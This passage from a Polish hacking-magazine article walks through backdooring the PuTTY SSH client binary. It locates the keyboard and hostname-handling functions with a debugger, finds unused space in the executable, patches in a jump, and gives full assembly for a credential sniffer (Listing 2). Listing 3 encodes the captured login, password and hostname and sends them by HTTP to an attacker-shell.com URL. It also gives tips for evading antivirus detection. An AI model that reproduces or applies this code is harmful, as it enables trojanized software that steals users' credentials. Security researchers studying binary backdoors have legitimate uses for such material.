mykamy  plik  dziennika  wybierając 

Rysunek 1. 

Analiza pliku putty.exe przy użyciu PeID

Rysunek 2. 

Monitorowanie wywołań API przy użyciu debuggera OllyDbg

hakin9 Nr 2/2008

www.hakin9.org

Atak

20

z menu kontekstowego Close log fi-
le,  żeby  nie  zwiększać  niepotrzeb-
nie jego objętości.

Spójrzmy teraz na wygenerowa-

ny plik dziennika, aby dowiedzieć się 
jak PuTTY odczytuje znaki wprowa-
dzone przez użytkownika. Ze wzglę-
du  na  objętość  pliku  ciężko  jest 
sprawdzić  każdą  z  funkcji,  dlatego 
możemy  spróbować  odszukać  sło-
wo,  które  podaliśmy  jako  login  lub 
też litery składające się na to słowo 
– obejmując je w apostrofy: 'F'. Mo-
żemy również założyć, że do jednej 
z  funkcji  został  przekazany  komu-
nikat 

WM _ KEYDOWN

,  gdyż  to  właśnie 

za  jego  pomocą  system  operacyj-
ny  Windows  przekazuje  informacje 
otrzymane  z  klawiatury  do  urucho-
mionej  aplikacji.  Dlatego  możemy 
również  spróbować  przeszukać  plik 
pod kątem tej nazwy komunikatu. 

Niezależnie od tego, jaką meto-

dę wykorzystamy, odnajdziemy gru-
pę  funkcji  powiązanych  z  obsługą 
klawiatury  przez  program  PuTTY. 
Funkcje  te  zostały  przedstawione 
na Listingu 1. 

Funkcja, która szczególnie wyróż-

nia się na przedstawionym listingu, to 

ToAsciiEx

.  Zgodnie  z  bazą  MSDN, 

tłumaczy  ona  podany  kod  klawisza 
(virtual-key  code)  na  odpowiadają-
cy mu znak lub znaki. Innymi słowy, 
funkcja  zwraca  kod  ASCII  wciśnię-
tych klawiszy. To jest właśnie to, cze-
go nam potrzeba! Jeśli tylko udałoby 
nam się przechwycić wyniki zwraca-
ne przez tę funkcję, bylibyśmy w sta-
nie  przechwycić  litery  loginu  i  hasła 
użytkownika,  literka  po  literce.  Za-
pamiętajmy  nazwę  tej  funkcji,  gdyż 
to właśnie z niej skorzystamy w celu 
przechwycenia danych. 

Odnajdujemy nazwę hosta

Wiemy już, w jaki sposób przechwy-
cimy login i hasło podane przez użyt-
kownika.  Co  jednak  z  nazwą  hosta, 
z którym się on łączy? Bez niej prze-
chwycone dane są kompletnie bezu-
żyteczne,  gdyż  nie  wiemy,  do  jakie-
go serwera one pasują. Dlatego teraz 
musimy znaleźć sposób, który pozwo-
li nam wydobyć nazwę hosta.

Jak można łatwo zauważyć, PuT-

TY wypisuje nazwę hosta na pasku 
tytułowym  okna  zaraz  po  nawiąza-
niu połączenia z serwerem. Wydoby-
cie nazwy z tego miejsca nie powin-
no  stanowić  większego  problemu, 
jednak  mimo  wszystko  wiązałoby 
się z użyciem funkcji 

GetWindowTextA

, 

która wymaga przekazania uchwytu 
okna (hwnd). Dużo łatwiejszym spo-
sobem  na  wydobycie  nazwy  byłoby 
po prostu skopiowanie jej z pamięci. 
PuTTY musi posiadać jakiś bufor, do 
którego kopiuje nazwę hosta po po-
braniu jej od użytkownika. Aby odna-
leźć  hostname  w  pamięci,  musimy 
prześledzić, co się z nim dzieje krót-
ko po wpisaniu go w oknie konfigura-
cji połączenia.

Nazwa  hosta  wpisywana  jest 

w  polu  edycji.  Wystarczy  wiedzieć, 
że  programy  w  systemie  Windows 
powszechnie  korzystają  z  funk-
cji 

GetDlgItemTextA

  w  celu  wydoby-

cia tekstu z kontrolki (w tym również 
pól edycji) w oknie dialogowym. Wy-
starczy więc prześledzić odwołania 

do tej funkcji, aby przekonać się, czy 
PuTTY używa jej do wydobycia wpi-
sanej nazwy hosta z pola edycji.

Posłużymy  się  tu  ponownie  de-

buggerem OllyDbg. Usuwamy wszyst-
kie  breakpointy  ustawione  poprzed-
nio.  Następnie  ustawiamy  pułap-
ki na wszystkich wywołaniach funkcji 

GetDlgItemTextA

  (wystarczy  odnaleźć 

i  kliknąć  prawym  przyciskiem  myszy 
jedno  z  wywołań  tej  funkcji  i  wybrać 
z menu kontekstowego: Set log break-
point on every call to GetDlgItemTextA 
function),  po  czym  wciskamy  (CTR-
L+F2), aby zrestartować program. Po 
ponownym  uruchomieniu  programu 
(F9) PuTTY wpisujemy wybraną przez 
nas nazwę hosta i nawiązujemy połą-
czenie SSH poprzez kliknięcie przyci-
sku Open. 

Debugger  przerwie  wykony-

wanie  programu  PuTTY  pod  ad-
resem 

0x435F67

,  gdzie  mieści  się 

pierwsze  odwołanie  do  funkcji 

GetDlgItemTextA

. Jak można zauwa-

żyć  na  Rysunku  3.  do  funkcji  prze-
kazywane  są  cztery  parametry,  je-
den z nich oznaczony jest jako Buf-
fer. Parametr ten wskazuje miejsce w 
pamięci,  pod  które  trafi  skopiowany 
tekst z pola edycji. Obserwując war-
tości  umieszczone  na  stosie  (pra-
wa  dolna  część  Rysunku  3),  jeste-
śmy w stanie odczytać adres wska-
zywany  przez  parametr 

Buffer

,  jest 

on  równy 

0x46D680

.  Jeśli  teraz  usta-

wimy podgląd szesnastkowy (okien-
ko  hex  dump)  na  ten  adres  pamię-
ci  oraz  wymusimy  wykonanie  funk-
cji  (klawiszem  F8) 

GetDlgItemTextA

 

– ujrzymy nazwę hosta, którą podali-
śmy w oknie konfiguracji połączenia. 
W  ten  sposób  otrzymujemy  adres, 
który  wykorzystamy  później  w  na-
szym  kodzie  do  wydobycia  nazwy 
hosta podanej przez użytkownika.

Szukamy miejsca na kod

Na tym etapie wiemy już, skąd uzy-
skać  potrzebne  informacje  (login/

Rysunek 3. 

Śledzenie funkcji GetDlgItemTextA w celu odszukania nazwy 

hosta w pamięci 

Rysunek 4. 

Sekcje wewnątrz pliku putty.exe

Backdoory w kodzie binarnym

hakin9 Nr 2/2008

www.hakin9.org

21

hasło/hostname).  Jednak  zanim 
przejdziemy  do  pisania  naszego 
sniffera haseł, musimy znaleźć tro-
chę miejsca na nasz kod wewnątrz 
pliku putty.exe. 

Nie możemy po prostu dodać baj-

tów  naszego  kodu  pod  dowolnym 
miejscem  w  pliku,  zwiększając  je-
go  objętość  –  ze  względu  na  to,  że 
plik PE stanowi spójną strukturę da-
nych i taka operacja z pewnością by 
ją zniszczyła (część danych znalazła 
by się pod innymi adresami, w konse-
kwencji wskaźniki wskazywałyby złe 
miejsca w pliku). Moglibyśmy spróbo-
wać  dodać  nasz  kod  na  koniec  pli-
ku  putty.exe  (jak  to  robią  wirusy), 
jednak  rozmiar  pliku  uległby  zwięk-
szeniu,  przez  co  nasza  modyfikacja 
stałaby  się  łatwo  wykrywalna  przez 
programy antywirusowe.

Każda sekcja wewnątrz pliku mu-

si  zaczynać  się  pod  adresem,  któ-
ry  jest  wielokrotnością  tej  wartości. 
Bardzo rzadko zdarza się, że sekcje 
wewnątrz  pliku  kończą  się  dokład-
nie na granicy tych wyrównań. Dlate-
go istnieje duża szansa, że znajdzie-
my  sporo  wolnej  przestrzeni  pomię-
dzy poszczególnymi sekcjami w pliku. 
Użyjemy edytora heksadecymalnego 
Hiew, aby sprawdzić, czy znajdziemy 
wystarczającą ilość wolnego miejsca 
na końcu sekcji kodu (

code  section

) 

w pliku putty.exe.

Po  otwarciu  pliku  w  Hiew  prze-

łączamy  edytor  w  tryb  heksade-
cymalny  (F4),  a  następnie  wciska-
my  (F8)  w  celu  podglądu  nagłów-
ka PE. Znajdziemy tam informację, 
która mówi nam, że wartość wyrów-
nania (

file alignment

) wynosi 

0x1000

. 

Oznacza  to,  że  każda  z  sekcji  za-
czyna  się  pod  offsetem  będącym 
wielokrotnością  liczby 

0x1000

.  Na-

stępnie przechodzimy do listy sekcji 

pliku  przez  (F6).  Jak  widać  na  Ry-
sunku 4, w pliku putty.exe występu-
ją 4 różne sekcje.

Przyjrzyjmy  się  pierwszej  sek-

cji,  nazwanej  .text,  która  zawie-
ra  kod  programu 

PuTTY

  (sekcja  ko-

du). Sekcja ta zaczyna się pod adre-
sem 

0x1000

 pliku putty.exe. Widzimy, 

że następna sekcja (

.rdata

) zaczyna 

się  pod  adresem 

0x50000

.  Odejmu-

jąc  adres  początku  pierwszej  sekcji 
od adresu drugiej sekcji, otrzymamy 
fizyczny  rozmiar  sekcji 

.text

  w  pli-

ku putty.exe – jest on równy 

0x4F000

. 

Zauważmy, że jedna z kolumn w ta-
beli sekcji na Rysunku 4 nazywa się 

VirtSize

. Definiuje ona rozmiar wirtu-

alny, który w przypadku sekcji 

.text

 

jest  mniejszy  od  obliczonego  przez 
nas rozmiaru fizycznego, wynosi on 
bowiem 

0x4E4D1

.  Wirtualny  rozmiar 

sekcji określa faktyczną ilość bajtów 
zajmowaną  w  pamięci  przez  sekcje 
kodu.  Oznacza  to,  że  część  sekcji 
kodu w pliku putty.exe jest niewyko-
rzystana i stanowi wyrównanie sek-
cji. Wielkość niewykorzystanego ob-
szaru  możemy  obliczyć  odejmując 
wirtualny rozmiar sekcji, od rozmiaru 
fizycznego (na który składa się kod + 
bajty wyrównania):

0x4F000 - 0x4E4D1

co daje 2863 nieużywane bajty, któ-
re  możemy  nadpisać  naszym  ko-
dem.  Jest  to  ponad  2,5kB  miejsca, 
co w zupełności nam wystarczy.

Pozostaje  jeszcze  obliczyć,  pod 

jakim  offsetem  zaczyna  się  niewy-
korzystany obszar, a więc pod jakim 
offsetem  będzie  położony  początek 
naszego kodu. Wystarczy dodać of-
fset, pod którym znajduje się począ-

tek sekcji 

.text  (0x1000)

 do wirtual-

nego rozmiaru sekcji (

0x4E4D1

):

0x1000 + 0x4E4D1

co  daje 

0x4F4D1

.  Pod  tym  offsetem 

zaczyna się niewykorzystany obszar 
sekcji 

.text

 i tu właśnie zamieścimy 

kod naszego sniffera haseł. 

Szukamy miejsca na dane

Oprócz  miejsca  na  kod  sniffera  bę-
dziemy  potrzebowali  trochę  prze-
strzeni na dynamicznie tworzone da-
ne – w tym globalne zmienne czy bu-
for, w którym zapiszemy przechwyco-
ne informacje (login/hasło/hostname). 
Chociaż  2,5kB  przestrzeni  na  końcu 
sekcji 

.text

  wystarczyłoby  zarówno 

na nasz kod, jak i dane, to nie możemy 
umieścić  tam  danych.  Powodem  jest 
fakt, że sekcja 

.text

 posiada ustawio-

ny  atrybut  tylko  do  odczytu  (readon-
ly), a zatem po uruchomieniu progra-
mu  PuTTY  zapis  danych  w  tej  sekcji 
nie będzie możliwy. Wprawdzie istnie-
je możliwość dodania do sekcji 

.text

 

możliwości zapisu, jednak oprogramo-
wanie  antywirusowe  mogłoby  wtedy 
uznać nasz plik za podejrzany. 

W  celu  zapisu  danych  utworzo-

nych  dynamicznie  możemy  skorzy-
stać z kolejnej sekcji – sekcji danych 
nazwanej 

.data

,  która  to  domyślnie 

posiada możliwość zapisu. Mimo te-
go, że fizyczny rozmiar tej sekcji jest 
równy 

0x1000

, jej wirtualny rozmiar wy-

nosi 

0x7064

. Oznacza to, że dodatko-

wa przestrzeń zostanie zaalokowana 
w  trakcie  uruchomienia  aplikacji.  Ist-
nieje  szansa,  że  po  tej  alokacji  uda 
się odnaleźć wolny obszar, który nie 
jest  wykorzystywany  przez  program 
PuTTY (nadpisanie używanej części 

Rysunek 5. 

Przeglądanie sekcji 

.data z pomocą IDA w poszukiwaniu 
wolnego obszaru pamięci

Rysunek 6. 

Wywołanie funkcji ToAsciiEx, które należy zastąpić własnym

hakin9 Nr 2/2008

www.hakin9.org

Atak

22

pamięci  programu  PuTTY  mogłoby 
spowodować jego zawieszenie). 

W  odnalezieniu  wolnej  przestrze-

ni w sekcji 

.data

 pomoże nam narzę-

dzie  IDA.  Wystarczy  załadować  plik 
putty.exe  do  programu  IDA,  następ-
nie  przejść  do  zakładki  Hex  View, 
w której musimy odnaleźć sekcję 

.data

. 

Przemieszczając się po sekcji danych 
zauważymy, że część bajtów 

0x470B00

 

aż  do 

0x471050

.  Daje  to  ponad  1kB 

przestrzeni na nasze dane, co w zu-
pełności spełnia nasze wymagania.

Piszemy kod

Po  przeprowadzeniu  naszej  analizy 
i  zebraniu  potrzebnych  danych  mo-
żemy przystąpić do modyfikacji pro-
gramu PuTTY.

API hooking 

Zgodnie  z  wcześniejszymi  ustale-
niami,  chcemy  przechwycić  dane 
wprowadzone  przez  użytkownika, 
za pośrednictwem funkcji 

ToAsciiEx

. 

Wywołanie  funkcji 

ToAsciiEx

,  do 

którego  trafiają  klawisze  wciśnięte 
przez  użytkownika,  mieści  się  pod 
adresem  pamięci 

0x43C854

  (jak  mo-

żemy odczytać z Listingu 1). Musimy 
znaleźć sposób, który pozwoli prze-
chwycić  wynik  zwrócony  przez  tę 
funkcję  (którym  jest  kod  ASCII  wci-
śniętego klawisza), ale jednocześnie 
nie  zakłóci  normalnego  przebiegu 
działania programu PuTTY.

Najprostszym  rozwiązaniem  te-

go  problemu  będzie  zastąpienie  wy-
wołania  funkcji 

ToAsciiEx

  instrukcją 

skoku,  która  przekaże  kontrolę  nad 
programem PuTTY do naszego frag-

mentu  kodu  (sniffera  haseł).  W  na-
szym  kodzie  sami  wywołamy  funk-
cję 

ToAsciiEx

  –  otrzymując  jej  wynik. 

Zadbamy  również  o  to,  by  zapisać 
wartości  rejestrów  procesora  usta-
wione  przez  funkcję,  co  pozwoli  na 
późniejszy powrót do oryginalnego ko-
du (poprzez skok do kolejnej instruk-
cji,  występującej  po  wywołaniu  funk-
cji). Tym sposobem będziemy w stanie 
przechwycić klawisze wciśnięte przez 
użytkownika, nie zakłócając działania 
programu PuTTY. Spróbujmy teraz za-
stosować ten pomysł w praktyce.

Otwieramy  plik  putty.exe  z  he-

xedytora  Hiew,  przełączamy  edytor 
w tryb disasemblera (decode mode) 
i  przechodzimy  pod  offset 

0x3C854

, 

pod  którym  to  znajduje  się  wspo-
mniane wywołanie funkcji 

ToAsciiEx

:

FF1520034500   call   ToAsciiEx

Musimy zastąpić instrukcję wywoła-
nia  instrukcją  skoku.  Aby  wykonać 

przejście do naszego kodu, możemy 
posłużyć  się  następującą  kombina-
cją instrukcji 

push

 i 

ret

:

68D1F44400      push 00044F4D1
C3   ret

Adres 

0x44F4D1

  wskazuje  na  począ-

tek  wolnego  obszaru  w  sekcji 

.text

, 

ponieważ to właśnie tam zamieścimy 
nasz  kod.  Instrukcja  powrotu  ret  jest 
tu odpowiedzialna za wykonanie bez-
względnego  skoku  pod  podany  ad-
res (absolute jump). Wykonuje ona po 
prostu skok pod adres zamieszczony 
na szczycie stosu. Ma ona identyczny 
efekt co para instrukcji:

B8D1F44400   mov eax, 00044F4D1
FFE0   jmp eax

ale zajmuje o jeden bajt mniej. Dzię-
ki temu nie nadpiszemy niepotrzebnie 
bajtów kolejnej instrukcji (a zatem nie 
ma konieczności odtwarzania niczego 
poza  wywołaniem  funkcji 

ToAsciiEx

). 

Po  tej  modyfikacji  możemy  zapisać 
w pliku zmiany klawiszem (F9).

Prosty test

Teraz kiedy udało się nam zmodyfiko-
wać  program  PuTTY  w  taki  sposób, 
aby wykonywał instrukcje zawarte pod 
adresem 

0x4F4D1

  za  każdym  razem, 

gdy użytkownik wciśnie jakiś klawisz, 
możemy napisać testowy fragment ko-
du, aby sprawdzić czy wszystko dzia-
ła poprawnie. 

W hexedytorze Hiew przechodzi-

my pod offset 

0x4F4D1

, gdzie znajduje 

się wolna przestrzeń dla naszego ko-

Rysunek 7. 

Prosty kod wyświetlający komunikat na ekranie

Rysunek 8. 

Zmodyfikowana wersja PuTTY wyświetlająca przechwycone 

dane 

Backdoory w kodzie binarnym

hakin9 Nr 2/2008

www.hakin9.org

23

du (jak na razie jest ona wypełniona 
zerami). Pierwszą rzeczą, jaką mu-
simy uczynić, jest przywrócenie wy-
wołania funkcji 

ToAsciiEx

 które nad-

pisaliśmy:

FF1520034500   call   ToAsciiEx

Następnie  zachowujemy  wszystkie 
rejestry procesora instrukcją:

60   pushad

aby PuTTY mógł poprawnie kontynu-
ować działanie po powrocie z nasze-
go kodu. W tym momencie możemy 
zacząć pisanie własnego kodu. 

Niech  nasz  kod  wyświetla  jakiś 

tekst przy użyciu funkcji 

MessageBoxA

 

– tak, abyśmy od razu widzieli, że zo-
stał on uruchomiony. Zapisujemy ar-
gumenty  dla  funkcji 

MessageBoxA 

na 

stosie:

6A00   push 000
6A00   push 000
68F8F44400   push 0044F4F8
6A00   push 000

Adres 

0x44F4F8

  wskazuje  łańcuch 

znaków,  który  chcemy  wyświetlić. 
Następnie  wykonujemy  samą  funk-
cję 

MessageBoxA

  (jej  adres  możemy 

łatwo  ustalić  przy  pomocy  OllyDbg 
wyszukując wywołania tej funkcji):

FF15E4034500   call [04503E4]

Ostatnie trzy instrukcje konieczne do 
prawidłowego działania to:

61   popad
685AC84300   push 00043C85A
C3   ret

Ich  zadaniem  jest  przywrócenie 
uprzednio  zachowanych  rejestrów 
(intrukcja 

popad

),  oraz  przekazanie 

kontroli nad programem z powrotem 
do  oryginalnego  kodu  PuTTY  (in-
strukcje 

push + ret

). 

Pozostaje umieścić dowolny ciąg 

znaków pod offsetem 

0x4F4F8

 i może-

my zapisać zmiany w pliku wciskając 
(F9). Od tej pory program PuTTY po-
winien  wyświetlać  zadany  komuni-
kat  (w  przypadku  kodu  widocznego 

na Rysunku 7. będzie to napis: HEL-
LO!)  na  ekranie  przy  każdym  naci-
śnięciu klawisza.

Przechwytywanie danych

Jeśli  wszystko  działa,  możemy  za-
brać się za pisanie bardziej zaawan-
sowanego  kodu,  który  będzie  prze-
chwytywał dane wprowadzone przez 
użytkownika – to znaczy login, hasło 
oraz nazwę hosta. 

Listing  2.  przedstawia  przykła-

dową  implementację  sniffera  haseł. 
Prześledźmy szybko podany kod źró-
dłowy,  aby  zrozumieć,  jak  funkcjonu-
je.  Na  początku  wywołana  zostaje 
funkcja 

ToAsciiEx

, po czym następuje 

sprawdzenie zwracanej przez nią war-
tości (która to znajduje się w rejestrze 
EAX). Wartość zwrócona przez funk-
cję wskazuje, czy przekazany do niej 
kod klawisza został pomyślnie przetłu-
maczony na kod ASCII. Jeśli zwróco-
na wartość jest równa 1, oznacza to, 
że jeden znak został pomyślnie prze-
tłumaczony  i  umieszczony  w  buforze 
(adres  tego  bufora  został  przekaza-
ny do funkcji jako parametr pTransla-
ted  i  –  jak  można  zauważyć  na  Ry-
sunku  6  –  ma  on  wartość:  EBP+C). 
W  tym  przypadku  następuje  skopio-
wanie  znaku  ASCII  wciśniętego  kla-
wisza z bufora (czyli spod adresu EB-
P+C)  do  zmiennej 

created _ string

, 

która zawiera dwa znaki: 

l=

, czyli pre-

fiks  oznaczający  login.  Tym  samym 

uzyskujemy  pierwszą  literę  nazwy 
użytkownika.

Proces  ten  powtarza  się,  kopiu-

jąc kolejno wprowadzane znaki loginu 
na  koniec  ciągu  znaków 

created _

string

, aż do momentu gdy użytkow-

nik  wciśnie  klawisz  (backspace)  lub 
(enter).  W  takim  przypadku,  wartość 
zwracana  przez  funkcję  ToAsciiEx 
jest  równa  0  (co  oznacza,  że  ża-
den klawisz nie został przetłumaczo-
ny na kod ASCII). Powoduje to skok 
do etykiety 

special _ key

 – gdzie znaj-

duje się kod odpowiedzialny za usta-
lenie,  który  z  dwóch  wspomnianych 
klawiszy został wciśnięty. Rozróżnie-
nie obu klawiszy jest możliwe za spra-
wą bajtu znajdującego się pod adre-
sem EBP+8 (znajduje się tam wirtual-
ny kod klawisza, przekazany jako pa-
rametr 

Key

  do  funkcji 

ToAsciiEx

  –  co 

widać na Rysunku 6). 

Jeśli  wciśnięty  klawisz  to  (back-

space)  (wspomniany  bajt  ma  war-
tość 

0x08

),  następuje  skasowanie 

jednego  znaku  z  łańcucha  znaków 

created _ string

. 

Jeśli  wciśnięto  klawisz  (enter) 

(bajt równy 

0x0D

), oznacza to, że użyt-

kownik skończył wpisywać swój login. 
Dlatego  na  koniec  łańcucha  znaków 

created _ string

  dopisywany  jest  ko-

lejny prefiks: 

&p=

 – w celu odróżnie-

nia loginu od hasła, które to użytkow-
nik będzie teraz wprowadzał. Kolejne 
litery  hasła  kopiowane  są  na  koniec 

Listing 1. 

Funkcje użyte w programie PuTTY do odczytu znaków z 

klawiatury

0043F03E  

CALL 

to DispatchMessageA

            pMsg = WM_KEYDOWN hw = 

1D03E0

 

(

"some-remote-host.com - PuTTY"

)

 

Key = 

46

  

(

'F'

)

 KeyData = 

210001

00441519  

CALL 

to GetTickCount

00441533  

CALL 

to QueryPerformanceCounter

            pPerformanceCount = 

0012CCEC

0043BD67  

CALL 

to GetKeyboardLayout

            ThreadID = 

0

0043BD77  

CALL 

to GetKeyboardState

            pState = 

0012CBD4

0043BE0B  

CALL 

to SetKeyboardState

            pKeyState = 

0012CBD4

0043C854  

CALL 

to ToAsciiEx

            Key = 

46  

(

'F'

)

            ScanCode = 

21

            pKeyState = 

0012CBD4

            pTranslated = 

0012CD00

            MenuActive = 

0

            hKblayout = 

04150415 

hakin9 Nr 2/2008

www.hakin9.org

Atak

24

Listing 2. 

PuTTY password sniffer – puttysnf.asm

;

 

puttysnf

.

asm

 – 

PuTTY

 

password

 

sniffer

.

386

code

 

segment

assume

 

cs

:

code

, 

ds

:

code

org

 100

h

      

;

 

counter

 

of

 

how

 

many

 

times

 

ENTER

 

has

 

been

 

hit

:

      

enter_counter

    

equ

 470

B00h

      

;

 

counter

 

of

 

characters

 

in

 

login

/

password

:

      

char_counter

     

equ

 470

B08h

      

;

 

variable

 

containing

 

the

 

length

 

of

 

created_

string

:

      

str_length

       

equ

 470

B04h

      

;

 

string

 

for

 

login

/

password

/

hostname

:

      

created_string

   

equ

 470

B10h

start

:

      

;

 

call

 

ToAsciiEx

      

call

   

ds

:[

450320

h

]

 

      

pushad

      

mov

    

edi

, 

created_string

      

mov

    

ecx

, 

ds

:[

str_length

]

      

add

    

edi

, 

ecx

      

;

 

finish

, 

if

 

str_length

==

0xFF

      

cmp

    

cl

, 0

FFh

      

je

     

return_to_host

      

;

 

checks

 

if

 

ENTER

 

or

 

BACKSPACE

 

was

 

hit

      

test

   

al

, 

al

      

je

     

special_key

      

test

   

cl

, 

cl

      

jne

    

no_prefix_1

      

;

 

adds

 

a

 

prefix

 '

l

=

' 

before

 

a

 

login

      

mov

    

word

 

ptr

 

[

edi

]

, 3

D6Ch

      

mov

    

byte

 

ptr

 

ds

:[

str_length

]

, 

2

      

add

    

edi

,

2

no_prefix_1

:

      

;

 

finish

, 

if

 

login

/

pass

 

has

 

more

 

than

 

30

 

chars

      

cmp

    

dword

 

ptr

 

ds

:[

char_counter

]

, 1

Eh

      

jg

     

return_to_host

      

;

 

saves

 

an

 

ascii

 

returned

 

by

 

ToAsciiEx

 

in

 

created_

string

      

mov

    

al

, 

byte

 

ptr

 

ss

:[

ebp

 

+

 0

Ch

]

      

mov

    

byte

 

ptr

 

ds

:[

edi

]

, 

al

      

inc

    

dword

 

ptr

 

ds

:[

str_length

]

      

inc

    

dword

 

ptr

 

ds

:[

char_counter

]

special_key

:

      

mov

    

al

, 

byte

 

ptr

 

ss

:[

ebp

+

8

]

      

;

 

checks

 

if

 

the

 

key

 

is

 

a

 

BACKSPACE

      

cmp

    

al

, 08

h

      

je

     

backspace_hit

      

;

 

checks

 

if

 

it

 

is

 

an

 

ENTER

      

cmp

    

al

, 0

Dh

      

jne

    

return_to_host

      

;

 

checks

 

if

 

a

 

user

 

has

 

finished

 

typing

 

login

      

inc

    

byte

 

ptr

 

ds

:[

enter_counter

]

      

cmp

    

byte

 

ptr

 

ds

:[

enter_counter

]

, 

1

      

jne

    

no_prefix_2

      

;

 

adds

 

a

 

prefix

 '

&

p

=

' 

before

 

a

 

password

      

mov

    

dword

 

ptr

 

ds

:[

char_counter

]

, 

0

      

mov

    

ds

:[

edi

]

, 3

D7026h

      

add

    

byte

 

ptr

 

ds

:[

str_length

]

, 

3

no_prefix_2

:

      

;

 

checks

 

if

 

password

 

has

 

been

 

entered

      

cmp

    

byte

 

ptr

 

ds

:[

enter_counter

]

, 

2

      

jne

    

return_to_host

      

;

 

adds

 

prefix

 '

&

h

=

' 

before

 

a

 

hostname

      

mov

    

[

edi

]

, 003

D6826h

 

      

add

    

dword

 

ptr

 

ds

:[

str_length

]

, 

3

      

add

    

edi

,

3

      

;

 

ESI

 

=

 

the

 

address

 

where

 

a

 

hostname

 

is

 

stored

      

mov

    

esi

, 46

D680h

      

cld

copy

:

      

;

 

copies

 

a

 

hostname

 

at

 

the

 

end

 

of

 

the

 

created_

   string

      

lodsb

      

stosb

      

test

   

al

, 

al

      

je

     

show_message

      

inc

    

byte

 

ptr

 

ds

:[

str_length

]

      

jmp

    

copy

show_message

:

      

;

 

invokes

 

MessageBoxA

 

to

 

display

 

the

 

string

      

push

   

0

      

push

   

0

      

push

   

created_string

      

push

   

0

      

call

   

dword

 

ptr

 

ds

:[

4503

E4h

]

      

;

 

writes

 

0xFF

 

to

 

finish

 

intercepting

 

keys

      

mov

    

dword

 

ptr

 

ds

:[

str_length

]

, 0

FFh

      

jmp

    

return_to_host

backspace_hit

:

      

cmp

    

byte

 

ptr

 

ds

:[

char_counter

]

, 

0

      

je

     

return_to_host

      

;

 

writes

 

zero

 

to

 

delete

 

the

 

last

 

char

      

dec

    

edi

      

mov

    

byte

 

ptr

 

[

edi

]

, 

0

      

dec

    

dword

 

ptr

 

ds

:[

char_counter

]

      

dec

    

dword

 

ptr

 

ds

:[

str_length

]

return_to_host

:

      

;

 

passes

 

the

 

control

 

back

 

to

 

the

 

PuTTY

'

s

 

code

      

popad

      

push

   43

C85Ah

      

ret

code

 

ends

end

 

start

Backdoory w kodzie binarnym

hakin9 Nr 2/2008

www.hakin9.org

25

ciągu 

created _ string

, aż do momen-

tu  gdy  [enter]  zostanie  wciśnięty  po 
raz drugi. 

created _ string

  dodany  zostaje 

ostatni prefiks: 

&h=

, aby możliwe by-

ło  odróżnienie  hasła  od  nazwy  ho-

sta. Nazwa hosta jest doklejana na 
samym końcu łańcucha znaków (po 
skopiowaniu spod adresu 

0x46D680

). 

Na  tym  etapie  ciąg  znaków 

created _ string

 prezentuje się nastę-

pująco: 

l=login&p=password&h=hostname.

Ciąg zostaje wyświetlony na ekranie 
przy pomocy funkcji 

MessageBoxA

. 

Aby  zapobiec  ponownemu  wy-

konywaniu  kodu  przy  wciśnię-
ciu  kolejnych  klawiszy,  w  zmiennej 

str _ length

  zostaje  zapisana  war-

Listing 3. 

Procedure for puttysnf.asm to send sniffed data over HTTP

;

 

send_data

 – 

Send

 

Data

 

Procedure

   

;

 

address

 

where

 

our

 

code

 

starts

 

in

 

memory

:

   

base_address

  

equ

 44

F4D1h

 – 100

h

   

;

 

var

. 

containing

 

size

 

of

 

a

 

buffer

 

for

 

base64

 

code

:

   

buffer_size

  

equ

 470

B0Ch

   

;

 

address

 

in

 

memory

 

where

 

the

 

URL

 

will

 

be

 

stored

:

   

URL

      

equ

 470

BD8h

send_data

:

   

push

  

ebp

   

mov

  

ebp

, 

esp

   

cld

   

mov

  

esi

, 

(

base_address

 

+

 

offset

 

str1

)

   

mov

  

edi

, 

URL

copy_str

:

   

;

 

copy

 

the

 

declared

 

URL

 

(

pointing

 

to

 

putty

.

php

)

 

into

 

memory

   

lodsb

   

test

  

al

, 

al

   

jz

   

encode_str

   

xor

  

al

, 7

Fh

   

stosb

   

jmp

  

copy_str

encode_str

:

   

;

 

LoadLibraryA

(

"crypt32"

)

   

push

  

(

base_address

 

+

 

offset

 

str2

)

   

call

  

ds

:[

450250

h

]

   

mov

  

ebx

, 

eax

   

;

 

LoadLibraryA

(

"wininet"

)

   

push

  

(

base_address

 

+

 

offset

 

str3

)

   

call

  

ds

:[

450250

h

]

   

mov

  

esi

, 

eax

   

;

 

GetProcAddress

(

crypt32_hnd

, 

"CryptBinaryToStringA"

);

   

push

  

(

base_address

 

+

 

offset

 

str4

)

   

push

  

ebx

   

call

  

ds

:[

450284

h

]

   

test

  

eax

, 

eax

   

jz

   

return

   

mov

  

edi

, 

eax

   

;

 

CryptBinaryToStringA

(

created_string

, 

str_length

,

   

;

      

BASE64

, 

URL

+

str1_length

-

1

, 

buffer_size

)

   

mov

  

eax

, 

buffer_size

   

mov

  

dword

 

ptr

 

ds

:[

eax

]

, 190

h

   

push

  

eax

   

push

  

(

URL

 

+

 

str1_length

 – 

1

)

   

push

  

1

   

push

  

dword

 

ptr

 

ds

:[

str_length

]

   

push

  

created_string

 

   

call

  

edi

   

;

 

GetProcAddress

(

wininet_hnd

, 

"InternetOpenA"

)

   

push

  

(

base_address

 

+

 

offset

 

str5

)

   

push

  

esi

   

call

  

ds

:[

450284

h

]

   

test

  

eax

, 

eax

   

jz

   

return

   

;

 

InternetOpenA

(

0

, 

0

, 

0

, 

0

, 

0

)

   

push

  

0

   

push

  

0

   

push

  

0

   

push

  

0

 

   

push

  

0

   

call

  

eax

   

;

 

EDI

 

=

 

internet_hnd

   

mov

  

edi

, 

eax

   

;

 

GetProcAddress

(

wininet_hnd

, 

"InternetOpenUrlA"

)

   

push

  

(

base_address

 

+

 

offset

 

str6

)

   

push

  

esi

   

call

  

ds

:[

450284

h

]

   

test

  

eax

, 

eax

   

jz

   

return

   

;

 

InternetOpenUrlA

(

internet_hnd

, 

URL

, 

0

, 

0

, 

0

, 

0

)

   

push

  

0

   

push

  

0

   

push

  

0

   

push

  

0

   

push

  

URL

   

push

  

edi

   

call

  

eax

return

:

   

leave

   

ret

   

str1

     

db

 '

http

:

//

attacker

-

shell

.

com

/

putty

.

php

?

data

=

',

0

   

str1_length

  

equ

 $

-

str1

   

str2

     

db

 '

crypt32

',

0

 

   

str3

     

db

 '

wininet

',

0

   

str4

     

db

 '

CryptBinaryToStringA

',

0

   

str5

     

db

 '

InternetOpenA

',

0

   

str6

     

db

 '

InternetOpenUrlA

',

0

hakin9 Nr 2/2008

www.hakin9.org

Atak

26

tość 

0xFF

,  co  gwarantuje  zaprzesta-

nie ponownego wykonywania się ko-
du (za sprawą instrukcji porównania 

cmp cl

, 

0FFh

